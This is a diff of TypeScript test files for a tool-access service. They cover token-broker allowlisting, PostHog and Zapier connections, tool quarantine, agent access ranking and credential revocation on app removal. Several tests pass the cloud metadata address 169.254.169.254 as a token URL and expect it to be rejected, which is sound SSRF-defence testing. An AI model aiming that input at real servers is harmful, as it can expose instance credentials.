expect(res.body).toMatchObject({ code: "remote_http_private_endpoint" });
|
||||
expect(fetchMock).not.toHaveBeenCalled();
|
||||
const [issuance] = await db.select().from(connectionTokenIssuances);
|
||||
expect(issuance).toMatchObject({
|
||||
connectionId: connection.id,
|
||||
outcome: "failure",
|
||||
errorCode: "remote_http_private_endpoint",
|
||||
tokenHash: null,
|
||||
});
|
||||
});
|
||||
|
||||
it("allows an explicitly allowlisted internal token broker through the guarded fetch", async () => {
|
||||
vi.stubEnv("PAPERCLIP_TOKEN_BROKER_ALLOWED_HOSTS", "broker.example, 127.0.0.1");
|
||||
const company = await createCompany(db);
|
||||
const agent = await createAgent(db, company.id);
|
||||
const { run } = await createIssueAndRun(db, company.id, agent.id);
|
||||
const { connection } = await createBrokerConnection(db, company.id, {
|
||||
tokenUrl: "http://127.0.0.1:8787/v1/tokens/exchange",
|
||||
});
|
||||
await allowConnectionForAgent(db, company.id, agent.id, connection.id);
|
||||
const app = createRouteApp(db, agentJwtActor(company.id, agent.id, run.id));
|
||||
const fetchMock = vi.spyOn(globalThis, "fetch").mockImplementation(async (url, init) => {
|
||||
expect(String(url)).toBe("http://127.0.0.1:8787/v1/tokens/exchange");
|
||||
expect(init).toMatchObject({
|
||||
method: "POST",
|
||||
redirect: "manual",
|
||||
headers: expect.objectContaining({ authorization: "Bearer parent-deploy-token" }),
|
||||
});
|
||||
return {
|
||||
ok: true,
|
||||
status: 201,
|
||||
json: async () => ({
|
||||
token: "allowlisted-child-token",
|
||||
expires_in: 600,
|
||||
scope: "pages:publish:ns/dotta",
|
||||
}),
|
||||
} as Response;
|
||||
});
|
||||
|
||||
const res = await request(app)
|
||||
.post(`/api/agents/me/connections/${connection.id}/token`)
|
||||
.send({ scope: "pages:publish:ns/dotta" });
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(res.body).toMatchObject({ token: "allowlisted-child-token" });
|
||||
expect(fetchMock).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
|
||||
it("selects scoped credentials for array scopes and fails closed for unknown selectors", async () => {
|
||||
const company = await createCompany(db);
|
||||
const agent = await createAgent(db, company.id);
|
||||
|
|
@ -1270,6 +1362,86 @@ describeEmbeddedPostgres("tool access service", () => {
|
|||
});
|
||||
});
|
||||
|
||||
it.each([
|
||||
["tokenBroker.tokenUrl", { tokenBroker: { enabled: true, tokenUrl: "http://169.254.169.254/token" } }],
|
||||
["tokenBroker.exchangeTokenUrl", { tokenBroker: { enabled: true, exchangeTokenUrl: "http://169.254.169.254/token" } }],
|
||||
["tokenExchangeUrl", { tokenExchangeUrl: "http://169.254.169.254/token" }],
|
||||
["pagesTokenExchangeUrl", { pagesTokenExchangeUrl: "http://169.254.169.254/token" }],
|
||||
])("rejects a link-local %s when a remote connection is created", async (_field, brokerConfig) => {
|
||||
const company = await createCompany(db);
|
||||
const service = toolAccessService(db, {
|
||||
deploymentMode: "authenticated",
|
||||
deploymentExposure: "public",
|
||||
});
|
||||
|
||||
await expect(service.createConnection(company.id, {
|
||||
name: `Rejected broker ${randomUUID()}`,
|
||||
transport: "mcp_remote",
|
||||
config: { url: "https://93.184.216.34/mcp", ...brokerConfig },
|
||||
enabled: true,
|
||||
status: "active",
|
||||
})).rejects.toMatchObject({
|
||||
status: 400,
|
||||
details: { code: "remote_http_private_endpoint" },
|
||||
});
|
||||
await expect(db.select().from(toolConnections)).resolves.toHaveLength(0);
|
||||
});
|
||||
|
||||
it("rejects a link-local token broker when a remote connection is updated", async () => {
|
||||
const company = await createCompany(db);
|
||||
const service = toolAccessService(db, {
|
||||
deploymentMode: "authenticated",
|
||||
deploymentExposure: "public",
|
||||
});
|
||||
const connection = await service.createConnection(company.id, {
|
||||
name: "Initially safe broker",
|
||||
transport: "mcp_remote",
|
||||
config: { url: "https://93.184.216.34/mcp" },
|
||||
enabled: true,
|
||||
status: "active",
|
||||
});
|
||||
|
||||
await expect(service.updateConnection(connection.id, {
|
||||
config: {
|
||||
...connection.config,
|
||||
tokenBroker: { enabled: true, tokenUrl: "http://169.254.169.254/token" },
|
||||
},
|
||||
})).rejects.toMatchObject({
|
||||
status: 400,
|
||||
details: { code: "remote_http_private_endpoint" },
|
||||
});
|
||||
await expect(service.getConnection(connection.id)).resolves.toMatchObject({
|
||||
config: { url: "https://93.184.216.34/mcp" },
|
||||
});
|
||||
});
|
||||
|
||||
it("implicitly allowlists the configured Pages API host for internal token brokers", async () => {
|
||||
vi.stubEnv("PAPERCLIP_PAGES_API_URL", "http://127.0.0.1:8787");
|
||||
const company = await createCompany(db);
|
||||
const service = toolAccessService(db, {
|
||||
deploymentMode: "authenticated",
|
||||
deploymentExposure: "public",
|
||||
});
|
||||
|
||||
await expect(service.createConnection(company.id, {
|
||||
name: "Internal Pages broker",
|
||||
transport: "mcp_remote",
|
||||
config: {
|
||||
url: "https://93.184.216.34/mcp",
|
||||
tokenBroker: {
|
||||
enabled: true,
|
||||
tokenUrl: "http://127.0.0.1:9999/v1/tokens/exchange",
|
||||
},
|
||||
},
|
||||
enabled: true,
|
||||
status: "active",
|
||||
})).resolves.toMatchObject({
|
||||
config: {
|
||||
tokenBroker: { tokenUrl: "http://127.0.0.1:9999/v1/tokens/exchange" },
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
it("lists testable agents with per-connection effective access summaries", async () => {
|
||||
const company = await createCompany(db);
|
||||
const userId = `tool-tester-${randomUUID()}`;
|
||||
|
|
@ -1294,6 +1466,7 @@ describeEmbeddedPostgres("tool access service", () => {
|
|||
expect(res.body.agents).toHaveLength(1);
|
||||
expect(res.body.agents[0]).toMatchObject({
|
||||
id: agent.id,
|
||||
orgDepth: 0,
|
||||
effectiveAccess: {
|
||||
connectionId: connection.id,
|
||||
toolCount: 1,
|
||||
|
|
@ -1304,6 +1477,55 @@ describeEmbeddedPostgres("tool access service", () => {
|
|||
});
|
||||
});
|
||||
|
||||
it("lists only writable agents and ranks the highest accessible agent first", async () => {
|
||||
const company = await createCompany(db);
|
||||
const userId = `scoped-tool-tester-${randomUUID()}`;
|
||||
await grantBoardUser(db, company.id, userId, ["tools:use"], "viewer");
|
||||
const actor = boardSessionActor(company.id, "viewer", userId);
|
||||
const root = await createAgent(db, company.id);
|
||||
const [accessibleManager] = await db.insert(agents).values({
|
||||
companyId: company.id,
|
||||
name: "Accessible manager",
|
||||
role: "manager",
|
||||
reportsTo: root.id,
|
||||
status: "active",
|
||||
adapterType: "process",
|
||||
adapterConfig: {},
|
||||
runtimeConfig: {},
|
||||
}).returning();
|
||||
const [accessibleReport] = await db.insert(agents).values({
|
||||
companyId: company.id,
|
||||
name: "Accessible report",
|
||||
role: "engineer",
|
||||
reportsTo: accessibleManager!.id,
|
||||
status: "active",
|
||||
adapterType: "process",
|
||||
adapterConfig: {},
|
||||
runtimeConfig: {},
|
||||
}).returning();
|
||||
await db.insert(principalPermissionGrants).values({
|
||||
companyId: company.id,
|
||||
principalType: "user",
|
||||
principalId: userId,
|
||||
permissionKey: "tasks:assign_scope",
|
||||
scope: { agentIds: [accessibleManager!.id, accessibleReport!.id] },
|
||||
grantedByUserId: "owner",
|
||||
});
|
||||
const { connection } = await createRemoteToolFixture(db, company.id);
|
||||
const app = createRouteApp(db, actor, createToolGatewayService(db, { toolActionSigningSecret: "test-secret" }));
|
||||
|
||||
const res = await request(app)
|
||||
.get(`/api/tool-connections/${connection.id}/test-agents`)
|
||||
.expect(200);
|
||||
|
||||
expect(res.body.agents.map((agent: { id: string }) => agent.id)).toEqual([
|
||||
accessibleManager!.id,
|
||||
accessibleReport!.id,
|
||||
]);
|
||||
expect(res.body.agents.map((agent: { orgDepth: number }) => agent.orgDepth)).toEqual([1, 2]);
|
||||
expect(res.body.agents).not.toEqual(expect.arrayContaining([expect.objectContaining({ id: root.id })]));
|
||||
});
|
||||
|
||||
it("surfaces a last-changed audit hint attributed to the agent that authored the governing policy", async () => {
|
||||
const company = await createCompany(db);
|
||||
const userId = `tool-tester-${randomUUID()}`;
|
||||
|
|
@ -2540,6 +2762,7 @@ describeEmbeddedPostgres("tool access service", () => {
|
|||
"github",
|
||||
"slack",
|
||||
"notion",
|
||||
"posthog",
|
||||
"linear",
|
||||
"google-sheets",
|
||||
"context7",
|
||||
|
|
@ -2547,6 +2770,13 @@ describeEmbeddedPostgres("tool access service", () => {
|
|||
expect(res.body.apps.map((app: { slug: string }) => app.slug)).not.toContain("google-drive");
|
||||
expect(res.body.apps).toEqual(
|
||||
expect.arrayContaining([
|
||||
expect.objectContaining({
|
||||
slug: "posthog",
|
||||
methods: expect.arrayContaining([
|
||||
expect.objectContaining({ key: "mcp-oauth", auth: "oauth" }),
|
||||
expect.objectContaining({ key: "mcp-api-key", auth: "api_key" }),
|
||||
]),
|
||||
}),
|
||||
expect.objectContaining({
|
||||
slug: "slack",
|
||||
methods: expect.arrayContaining([
|
||||
|
|
@ -2661,6 +2891,65 @@ describeEmbeddedPostgres("tool access service", () => {
|
|||
]);
|
||||
});
|
||||
|
||||
it("requires an explicit PostHog method and projects validated project filters", async () => {
|
||||
const company = await createCompany(db);
|
||||
const service = toolAccessService(db);
|
||||
|
||||
await expect(service.connectGalleryApp(company.id, {
|
||||
galleryKey: "posthog",
|
||||
configValues: { projectId: "12345", features: "insights" },
|
||||
}, { actorType: "user", actorId: "board" })).rejects.toMatchObject({ status: 400 });
|
||||
|
||||
const fetchMock = mockToolsList([
|
||||
{ name: "query_insight", annotations: { readOnlyHint: true } },
|
||||
{ name: "delete_feature_flag" },
|
||||
{ name: "brand_new_tool" },
|
||||
]);
|
||||
const result = await service.connectGalleryApp(company.id, {
|
||||
galleryKey: "posthog",
|
||||
connectionMethodKey: "mcp-api-key",
|
||||
credentialValues: { "credentials.authorization": "phx_test-secret" },
|
||||
configValues: {
|
||||
projectId: "12345",
|
||||
readOnly: true,
|
||||
features: "insights, error_tracking\ninsights",
|
||||
tools: "query_insight",
|
||||
mode: "tools",
|
||||
},
|
||||
}, { actorType: "user", actorId: "board" });
|
||||
|
||||
expect(fetchMock).toHaveBeenCalledWith(
|
||||
"https://mcp.posthog.com/mcp?readonly=true&features=insights%2Cerror_tracking&tools=query_insight&mode=tools",
|
||||
expect.objectContaining({
|
||||
headers: expect.objectContaining({
|
||||
Authorization: "Bearer phx_test-secret",
|
||||
"x-posthog-project-id": "12345",
|
||||
}),
|
||||
}),
|
||||
);
|
||||
expect(result.connection).toMatchObject({
|
||||
authKind: "api_key",
|
||||
config: {
|
||||
sourceTemplateKey: "posthog",
|
||||
connectionMethodKey: "mcp-api-key",
|
||||
methodConfig: {
|
||||
projectId: "12345",
|
||||
readOnly: true,
|
||||
features: "insights,error_tracking",
|
||||
tools: "query_insight",
|
||||
mode: "tools",
|
||||
},
|
||||
safeDefault: true,
|
||||
},
|
||||
});
|
||||
expect(JSON.stringify(result.connection.config)).not.toContain("phx_test-secret");
|
||||
expect(result.catalog).toEqual(expect.arrayContaining([
|
||||
expect.objectContaining({ toolName: "query_insight", riskLevel: "read", status: "active" }),
|
||||
expect.objectContaining({ toolName: "delete_feature_flag", riskLevel: "destructive", status: "quarantined" }),
|
||||
expect.objectContaining({ toolName: "brand_new_tool", riskLevel: "write", status: "quarantined" }),
|
||||
]));
|
||||
});
|
||||
|
||||
it("stores approved class-3 credential refs on thin tool connections", async () => {
|
||||
const company = await createCompany(db);
|
||||
const service = toolAccessService(db);
|
||||
|
|
@ -3401,6 +3690,10 @@ describeEmbeddedPostgres("tool access service", () => {
|
|||
grant_types: ["authorization_code", "refresh_token"],
|
||||
response_types: ["code"],
|
||||
token_endpoint_auth_method: "none",
|
||||
// PAP-17087: Paperclip's callback is a server-side HTTPS endpoint, so
|
||||
// registration must declare a `web` client rather than let the
|
||||
// authorization server apply native-client redirect rules.
|
||||
application_type: "web",
|
||||
}]);
|
||||
|
||||
fetchMock.mockClear();
|
||||
|
|
@ -4692,7 +4985,7 @@ describeEmbeddedPostgres("tool access service", () => {
|
|||
expect(connect.connection).toMatchObject({
|
||||
status: "draft",
|
||||
enabled: false,
|
||||
config: { url: "https://links.example.test/actions", quarantineNewEntries: true },
|
||||
config: { url: "https://links.example.test/actions", quarantineNewEntries: false },
|
||||
credentialSecretRefs: [
|
||||
expect.objectContaining({
|
||||
configPath: "credentials.authorization",
|
||||
|
|
@ -5071,15 +5364,16 @@ describeEmbeddedPostgres("tool access service", () => {
|
|||
runtimeConfig: {},
|
||||
}).returning();
|
||||
|
||||
const connect = await service.connectGalleryApp(company.id, {
|
||||
galleryKey: "zapier",
|
||||
name: "Zapier workspace",
|
||||
credentialValues: { "credentials.authorization": "zap-secret" },
|
||||
}, { actorType: "user", actorId: "board" });
|
||||
const connect = await withGalleryServerUrl("zapier", PUBLIC_MCP_FIXTURE_URL, () =>
|
||||
service.connectGalleryApp(company.id, {
|
||||
galleryKey: "zapier",
|
||||
name: "Zapier workspace",
|
||||
credentialValues: { "credentials.authorization": "zap-secret" },
|
||||
}, { actorType: "user", actorId: "board" }));
|
||||
|
||||
expect(fetchMock).toHaveBeenCalledTimes(2);
|
||||
expect(fetchMock).toHaveBeenCalledWith(
|
||||
"https://mcp.zapier.com/api/mcp",
|
||||
PUBLIC_MCP_FIXTURE_URL,
|
||||
expect.objectContaining({
|
||||
headers: expect.objectContaining({ Authorization: "Bearer zap-secret" }),
|
||||
}),
|
||||
|
|
@ -5087,7 +5381,7 @@ describeEmbeddedPostgres("tool access service", () => {
|
|||
expect(connect.connection).toMatchObject({
|
||||
status: "draft",
|
||||
enabled: false,
|
||||
config: expect.objectContaining({ sourceTemplateKey: "zapier", quarantineNewEntries: true }),
|
||||
config: expect.objectContaining({ sourceTemplateKey: "zapier", quarantineNewEntries: false }),
|
||||
credentialSecretRefs: [
|
||||
expect.objectContaining({
|
||||
configPath: "credentials.authorization",
|
||||
|
|
@ -5167,6 +5461,10 @@ describeEmbeddedPostgres("tool access service", () => {
|
|||
]),
|
||||
);
|
||||
|
||||
await db.update(toolConnections).set({
|
||||
config: { ...connect.connection.config, quarantineNewEntries: true },
|
||||
}).where(eq(toolConnections.id, connect.connectionId));
|
||||
|
||||
fetchMock.mockResolvedValueOnce(mcpHttpResponse({
|
||||
jsonrpc: "2.0",
|
||||
id: "paperclip-catalog-refresh",
|
||||
|
|
@ -5265,6 +5563,65 @@ describeEmbeddedPostgres("tool access service", () => {
|
|||
expect(attentionAfterReview.apps).toEqual([]);
|
||||
});
|
||||
|
||||
it("enables newly discovered tools after setup while preserving tools explicitly turned off", async () => {
|
||||
const company = await createCompany(db);
|
||||
const service = toolAccessService(db);
|
||||
const fetchMock = mockToolsList([
|
||||
{ name: "list_zaps", annotations: { readOnlyHint: true } },
|
||||
{ name: "update_zap", annotations: { readOnlyHint: false } },
|
||||
]);
|
||||
|
||||
const connect = await withGalleryServerUrl("zapier", PUBLIC_MCP_FIXTURE_URL, () =>
|
||||
service.connectGalleryApp(company.id, {
|
||||
galleryKey: "zapier",
|
||||
credentialValues: { "credentials.authorization": "zap-secret" },
|
||||
}, { actorType: "user", actorId: "board" }));
|
||||
const listEntry = connect.catalog.find((entry) => entry.toolName === "list_zaps")!;
|
||||
const updateEntry = connect.catalog.find((entry) => entry.toolName === "update_zap")!;
|
||||
await service.finishGalleryAppConnection(company.id, connect.connectionId, {
|
||||
enabledCatalogEntryIds: [listEntry.id],
|
||||
askFirstCatalogEntryIds: [],
|
||||
access: "all_agents",
|
||||
}, { actorType: "user", actorId: "board" });
|
||||
const [defaultProfile] = await db.select().from(toolProfiles).where(eq(
|
||||
toolProfiles.profileKey,
|
||||
`app:${connect.connectionId}`,
|
||||
));
|
||||
expect(defaultProfile).toBeTruthy();
|
||||
fetchMock.mockResolvedValueOnce(mcpHttpResponse({
|
||||
jsonrpc: "2.0",
|
||||
id: "paperclip-catalog-refresh",
|
||||
result: {
|
||||
tools: [
|
||||
{ name: "list_zaps", annotations: { readOnlyHint: true } },
|
||||
{ name: "update_zap", annotations: { readOnlyHint: false } },
|
||||
{ name: "create_zap", annotations: { readOnlyHint: false } },
|
||||
],
|
||||
},
|
||||
}));
|
||||
|
||||
const refresh = await service.refreshCatalog(connect.connectionId, { actorType: "user", actorId: "board" });
|
||||
|
||||
expect(refresh.quarantinedCount).toBe(0);
|
||||
expect(refresh.catalog).toEqual(expect.arrayContaining([
|
||||
expect.objectContaining({ toolName: "list_zaps", status: "active" }),
|
||||
expect.objectContaining({ toolName: "update_zap", status: "active" }),
|
||||
expect.objectContaining({ toolName: "create_zap", status: "active" }),
|
||||
]));
|
||||
const createEntry = refresh.catalog.find((entry) => entry.toolName === "create_zap")!;
|
||||
const profileEntries = await db.select().from(toolProfileEntries).where(eq(
|
||||
toolProfileEntries.profileId,
|
||||
defaultProfile!.id,
|
||||
));
|
||||
expect(profileEntries).toEqual(expect.arrayContaining([
|
||||
expect.objectContaining({ catalogEntryId: listEntry.id }),
|
||||
expect.objectContaining({ catalogEntryId: createEntry.id }),
|
||||
]));
|
||||
expect(profileEntries).not.toEqual(expect.arrayContaining([
|
||||
expect.objectContaining({ catalogEntryId: updateEntry.id }),
|
||||
]));
|
||||
});
|
||||
|
||||
it("resolves Notion reads as allowed, mutations as ask-first, and denies cross-company use", async () => {
|
||||
const company = await createCompany(db);
|
||||
const otherCompany = await createCompany(db);
|
||||
|
|
@ -5312,6 +5669,20 @@ describeEmbeddedPostgres("tool access service", () => {
|
|||
expect.objectContaining({ id: duplicateEntry.id, riskLevel: "write", isWrite: true }),
|
||||
]));
|
||||
|
||||
// A narrower profile must not make an app shared with "All agents"
|
||||
// disappear. App action selection is an additive capability assignment;
|
||||
// ordinary profile precedence still governs non-app defaults.
|
||||
const existingAgentProfile = await service.createProfile(company.id, {
|
||||
profileKey: `existing-agent-profile-${randomUUID()}`,
|
||||
name: "Existing agent defaults",
|
||||
defaultAction: "deny",
|
||||
});
|
||||
await service.bindProfile(
|
||||
existingAgentProfile.id,
|
||||
{ targetType: "agent", targetId: agent.id },
|
||||
{ actorType: "user", actorId: "board" },
|
||||
);
|
||||
|
||||
await expect(service.finishGalleryAppConnection(otherCompany.id, connection.id, {
|
||||
enabledCatalogEntryIds: [fetchEntry.id],
|
||||
askFirstCatalogEntryIds: [],
|
||||
|
|
@ -6968,11 +7339,14 @@ describeEmbeddedPostgres("tool access service", () => {
|
|||
expect(unusedRow!.lastUsedAt).toBeNull();
|
||||
});
|
||||
|
||||
it("syncs installs, auto-extends agent access, and exposes install state", async () => {
|
||||
it("syncs installs without widening action access or calling the remote tool", async () => {
|
||||
const company = await createCompany(db);
|
||||
const agent = await createAgent(db, company.id);
|
||||
const { connection } = await createRemoteToolFixture(db, company.id);
|
||||
const app = createRouteApp(db);
|
||||
const fetchMock = vi.spyOn(globalThis, "fetch");
|
||||
const app = createRouteApp(db, undefined, createToolGatewayService(db, {
|
||||
toolActionSigningSecret: "test-secret",
|
||||
}));
|
||||
|
||||
const put = await request(app)
|
||||
.put(`/api/tool-connections/${connection.id}/installs`)
|
||||
|
|
@ -6999,7 +7373,17 @@ describeEmbeddedPostgres("tool access service", () => {
|
|||
|
||||
const effective = await toolAccessService(db).getEffectiveProfilesForAgent(company.id, agent.id);
|
||||
expect(effective.installedConnections.map((item) => item.id)).toEqual([connection.id]);
|
||||
expect(effective.allowedTools.some((tool) => tool.connectionId === connection.id)).toBe(true);
|
||||
expect(effective.allowedTools.some((tool) => tool.connectionId === connection.id)).toBe(false);
|
||||
|
||||
const deniedCall = await request(app)
|
||||
.post(`/api/tool-connections/${connection.id}/test-calls`)
|
||||
.send({ agentId: agent.id, toolName: "send_email", parameters: { to: "a@example.com" } })
|
||||
.expect(200);
|
||||
expect(deniedCall.body).toMatchObject({
|
||||
decision: "off",
|
||||
error: { reasonCode: "deny_default" },
|
||||
});
|
||||
expect(fetchMock).not.toHaveBeenCalled();
|
||||
|
||||
const get = await request(app).get(`/api/tool-connections/${connection.id}`);
|
||||
expect(get.status).toBe(200);
|
||||
|
|
@ -7092,4 +7476,58 @@ describe("classifyRisk", () => {
|
|||
expect(notionRisk("notion-delete-page")).toBe("destructive");
|
||||
expect(classifyRisk({ name: "move_pages" })).toBe("read");
|
||||
});
|
||||
|
||||
it("uses conservative PostHog defaults for unknown and nested-execution tools", () => {
|
||||
expect(classifyRisk({ name: "query_insight", annotations: { readOnlyHint: true } }, "posthog")).toBe("read");
|
||||
expect(classifyRisk({ name: "brand_new_tool" }, "posthog")).toBe("write");
|
||||
expect(classifyRisk({ name: "exec" }, "posthog")).toBe("destructive");
|
||||
});
|
||||
});
|
||||
|
||||
describe("normalizeConnectionMethodConfig", () => {
|
||||
const posthog = getConnectableAppDefinition("posthog")!;
|
||||
const apiKeyMethod = posthog.methods.find((method) => method.key === "mcp-api-key")!;
|
||||
|
||||
it("uses the broad PostHog catalog when optional advanced filters are untouched", () => {
|
||||
expect(normalizeConnectionMethodConfig(apiKeyMethod, {
|
||||
projectId: "12345",
|
||||
})).toEqual({
|
||||
values: {
|
||||
projectId: "12345",
|
||||
readOnly: false,
|
||||
mode: "tools",
|
||||
},
|
||||
url: "https://mcp.posthog.com/mcp?mode=tools",
|
||||
headers: { "x-posthog-project-id": "12345" },
|
||||
});
|
||||
});
|
||||
|
||||
it("normalizes and projects PostHog scope without accepting arbitrary config", () => {
|
||||
expect(normalizeConnectionMethodConfig(apiKeyMethod, {
|
||||
projectId: "12345",
|
||||
readOnly: true,
|
||||
features: "insights, error_tracking\ninsights",
|
||||
tools: "query_insight",
|
||||
mode: "tools",
|
||||
})).toEqual({
|
||||
values: {
|
||||
projectId: "12345",
|
||||
readOnly: true,
|
||||
features: "insights,error_tracking",
|
||||
tools: "query_insight",
|
||||
mode: "tools",
|
||||
},
|
||||
url: "https://mcp.posthog.com/mcp?readonly=true&features=insights%2Cerror_tracking&tools=query_insight&mode=tools",
|
||||
headers: { "x-posthog-project-id": "12345" },
|
||||
});
|
||||
expect(() => normalizeConnectionMethodConfig(apiKeyMethod, {
|
||||
projectId: "not-a-project",
|
||||
features: "insights",
|
||||
})).toThrow("Project ID has an invalid value");
|
||||
expect(() => normalizeConnectionMethodConfig(apiKeyMethod, {
|
||||
projectId: "12345",
|
||||
features: "insights",
|
||||
apiKey: "must-not-be-config",
|
||||
})).toThrow("Unknown connection setting: apiKey");
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -0,0 +1,672 @@
|
|||
import { randomUUID } from "node:crypto";
|
||||
import express from "express";
|
||||
import request from "supertest";
|
||||
import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest";
|
||||
import {
|
||||
activityLog,
|
||||
agents,
|
||||
authUsers,
|
||||
companies,
|
||||
companyMemberships,
|
||||
companySecretBindings,
|
||||
companySecrets,
|
||||
companySecretVersions,
|
||||
connectionGrants,
|
||||
connectionTokenIssuances,
|
||||
createDb,
|
||||
heartbeatRuns,
|
||||
issues,
|
||||
secretAccessEvents,
|
||||
toolAccessAuditEvents,
|
||||
toolApplications,
|
||||
toolCatalogEntries,
|
||||
toolConnectionInstalls,
|
||||
toolConnections,
|
||||
toolGatewaySessions,
|
||||
toolMcpGateways,
|
||||
toolMcpGatewayTokens,
|
||||
toolOauthStates,
|
||||
toolProfileBindings,
|
||||
toolProfileEntries,
|
||||
toolProfiles,
|
||||
toolRuntimeSlots,
|
||||
} from "@paperclipai/db";
|
||||
import { and, eq } from "drizzle-orm";
|
||||
import {
|
||||
getEmbeddedPostgresTestSupport,
|
||||
startEmbeddedPostgresTestDatabase,
|
||||
} from "./helpers/embedded-postgres.js";
|
||||
import { toolAccessService } from "../services/tool-access.js";
|
||||
import { toolAccessPolicyService } from "../services/tool-access-policy.js";
|
||||
import { toolAccessRoutes } from "../routes/tool-access.js";
|
||||
import { secretService } from "../services/secrets.js";
|
||||
import { localEncryptedProvider } from "../secrets/local-encrypted-provider.js";
|
||||
import { errorHandler } from "../middleware/index.js";
|
||||
|
||||
const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
|
||||
const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
|
||||
|
||||
/**
|
||||
* PAP-17119 — "Remove app" is a credential revocation boundary, not a status
|
||||
* flip. Everything here asks the same question from a different angle: after a
|
||||
* removal, is there any surviving row that still resolves a credential or still
|
||||
* grants an agent a way to call the app?
|
||||
*
|
||||
* The connection is built through the real connect path where that is possible,
|
||||
* so the tests fail if `connectGalleryApp` ever starts writing credential state
|
||||
* somewhere the teardown does not look.
|
||||
*/
|
||||
|
||||
// A public IP literal, matching the generic MCP suite: remote endpoints are
|
||||
// DNS-pinned even in local/private mode (PAP-17098), so a made-up hostname would
|
||||
// fail resolution before it ever reached this fixture.
|
||||
const MCP_ORIGIN = "https://203.0.113.10";
|
||||
const MCP_URL = `${MCP_ORIGIN}/mcp`;
|
||||
|
||||
const FIXTURE_TOOLS = [
|
||||
{ name: "list_things", description: "List things", annotations: { readOnlyHint: true } },
|
||||
{ name: "delete_thing", description: "Delete a thing", annotations: { readOnlyHint: false, destructiveHint: true } },
|
||||
];
|
||||
|
||||
function jsonResponse(payload: unknown, status = 200): Response {
|
||||
const body = JSON.stringify(payload);
|
||||
return {
|
||||
ok: status >= 200 && status < 300,
|
||||
status,
|
||||
headers: {
|
||||
get: (name: string) => (name.toLowerCase() === "content-type" ? "application/json" : null),
|
||||
},
|
||||
text: async () => body,
|
||||
json: async () => payload,
|
||||
} as unknown as Response;
|
||||
}
|
||||
|
||||
function headerRecord(init: RequestInit | undefined): Record<string, string> {
|
||||
const raw = init?.headers;
|
||||
if (!raw) return {};
|
||||
if (raw instanceof Headers) return Object.fromEntries(raw.entries());
|
||||
if (Array.isArray(raw)) return Object.fromEntries(raw as Array<[string, string]>);
|
||||
return Object.fromEntries(
|
||||
Object.entries(raw as Record<string, string>).map(([key, value]) => [key.toLowerCase(), value]),
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* The narrowest endpoint that satisfies a header-authenticated connect: it lists
|
||||
* tools when the expected header arrives and 401s otherwise, which is all the
|
||||
* catalog refresh and health check need.
|
||||
*/
|
||||
function installMcpFixture(requiredHeader: { name: string; value: string }) {
|
||||
return vi.spyOn(globalThis, "fetch").mockImplementation(async (url, init) => {
|
||||
const href = String(url);
|
||||
const method = (init?.method ?? "GET").toUpperCase();
|
||||
const headers = headerRecord(init);
|
||||
if (href === MCP_URL && method === "POST") {
|
||||
if (headers[requiredHeader.name.toLowerCase()] !== requiredHeader.value) {
|
||||
return jsonResponse({ error: "unauthorized" }, 401);
|
||||
}
|
||||
return jsonResponse({ jsonrpc: "2.0", id: "paperclip-catalog-refresh", result: { tools: FIXTURE_TOOLS } });
|
||||
}
|
||||
return jsonResponse({ error: "not_found" }, 404);
|
||||
});
|
||||
}
|
||||
|
||||
async function createCompany(db: ReturnType<typeof createDb>) {
|
||||
return db
|
||||
.insert(companies)
|
||||
.values({
|
||||
name: `Removal ${randomUUID()}`,
|
||||
issuePrefix: `RM${randomUUID().slice(0, 6).toUpperCase()}`,
|
||||
})
|
||||
.returning()
|
||||
.then((rows) => rows[0]!);
|
||||
}
|
||||
|
||||
async function createAgent(db: ReturnType<typeof createDb>, companyId: string) {
|
||||
return db
|
||||
.insert(agents)
|
||||
.values({
|
||||
companyId,
|
||||
name: `Removal agent ${randomUUID()}`,
|
||||
role: "engineer",
|
||||
status: "active",
|
||||
adapterType: "process",
|
||||
adapterConfig: {},
|
||||
runtimeConfig: {},
|
||||
})
|
||||
.returning()
|
||||
.then((rows) => rows[0]!);
|
||||
}
|
||||
|
||||
function createRouteApp(db: ReturnType<typeof createDb>) {
|
||||
const app = express();
|
||||
app.use(express.json());
|
||||
app.use((req, _res, next) => {
|
||||
req.actor = {
|
||||
type: "board",
|
||||
userId: "board-user",
|
||||
userName: "Board User",
|
||||
userEmail: null,
|
||||
isInstanceAdmin: true,
|
||||
source: "local_implicit",
|
||||
};
|
||||
next();
|
||||
});
|
||||
app.use("/api", toolAccessRoutes(db));
|
||||
app.use(errorHandler);
|
||||
return app;
|
||||
}
|
||||
|
||||
describeEmbeddedPostgres("tool connection removal", () => {
|
||||
let db!: ReturnType<typeof createDb>;
|
||||
let tempDb: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>> | null = null;
|
||||
|
||||
const HEADER = { name: "X-Api-Key", value: "fixture-secret-value" };
|
||||
|
||||
beforeAll(async () => {
|
||||
tempDb = await startEmbeddedPostgresTestDatabase("paperclip-removal-");
|
||||
db = createDb(tempDb.connectionString);
|
||||
}, 20_000);
|
||||
|
||||
afterEach(async () => {
|
||||
vi.restoreAllMocks();
|
||||
vi.unstubAllEnvs();
|
||||
await db.delete(toolGatewaySessions);
|
||||
await db.delete(toolMcpGatewayTokens);
|
||||
await db.delete(toolMcpGateways);
|
||||
await db.delete(connectionTokenIssuances);
|
||||
await db.delete(connectionGrants);
|
||||
await db.delete(toolOauthStates);
|
||||
await db.delete(secretAccessEvents);
|
||||
await db.delete(companySecretBindings);
|
||||
await db.delete(companySecretVersions);
|
||||
await db.delete(companySecrets);
|
||||
await db.delete(activityLog);
|
||||
await db.delete(toolAccessAuditEvents);
|
||||
await db.delete(toolRuntimeSlots);
|
||||
await db.delete(toolConnectionInstalls);
|
||||
await db.delete(toolProfileBindings);
|
||||
await db.delete(toolProfileEntries);
|
||||
await db.delete(toolProfiles);
|
||||
await db.delete(toolCatalogEntries);
|
||||
await db.delete(toolConnections);
|
||||
await db.delete(toolApplications);
|
||||
await db.delete(heartbeatRuns);
|
||||
await db.delete(issues);
|
||||
await db.delete(companyMemberships);
|
||||
await db.delete(agents);
|
||||
await db.delete(companies);
|
||||
await db.delete(authUsers);
|
||||
});
|
||||
|
||||
afterAll(async () => {
|
||||
